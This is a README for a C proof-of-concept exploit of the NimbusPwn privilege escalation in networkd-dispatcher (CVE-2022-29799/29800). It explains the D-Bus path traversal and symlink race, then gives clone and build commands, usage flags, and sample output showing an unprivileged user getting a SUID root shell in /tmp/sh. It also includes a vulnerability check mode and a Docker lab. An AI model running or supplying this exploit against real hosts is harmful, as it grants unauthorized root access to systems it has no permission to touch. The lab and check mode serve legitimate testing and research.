NimbusPwn — networkd-dispatcher < 2.1 Local Privilege Escalation (CVE-2022-29799 / CVE-2022-29800) PoC

📜 Description

A C PoC for NimbusPwn, a local privilege escalation in networkd-dispatcher. An unprivileged user claims the org.freedesktop.network1 D-Bus name and sends a crafted OperationalState. The root daemon does not sanitize it (CVE-2022-29799, path traversal), and a symlink race on the script directory (CVE-2022-29800, TOCTOU) makes it run an attacker-planted script as root — dropping a SUID root shell.

Affected: networkd-dispatcher < 2.1 (fixed in 2.1). Linux only. Needs the system D-Bus and a claimable org.freedesktop.network1 name.

🛠️ Installation

Build on Linux (Kali, or the target box). It does not build or run on macOS/Windows.

git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)

[!NOTE] Other distros: dnf install gcc dbus-devel pkgconf (Fedora/RHEL) or pacman -S gcc dbus pkgconf (Arch). The compile line is the same.

⚙️ Usage

Run as an unprivileged user on a vulnerable host.

./nimbuspwn [-c] [-s SHELL]
  -c, --check        non-breaking vuln check, no exploitation
  -s, --shell SHELL  shell to SUID-copy and spawn as root (default /bin/sh)
  -h, --help         show help

Check first (safe, plants nothing, never races):

$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)

Then exploit:

$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)

The race is non-deterministic, so it retries (default 10×). Use -s /bin/bash on hosts without /bin/sh.

🐋 Docker PoC

A self-contained vulnerable lab (Ubuntu 20.04 + vulnerable networkd-dispatcher 2.0). No --privileged or host networking.

docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn

The 2.0 dispatcher is vendored in docker/ so the build does not depend on any external download. Dispatcher log: /var/log/dispatcher.log.

🕵🏼 References

📢 Disclaimer

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool.

NimbusPWN-CVE-2022-29799-29800

Most Popular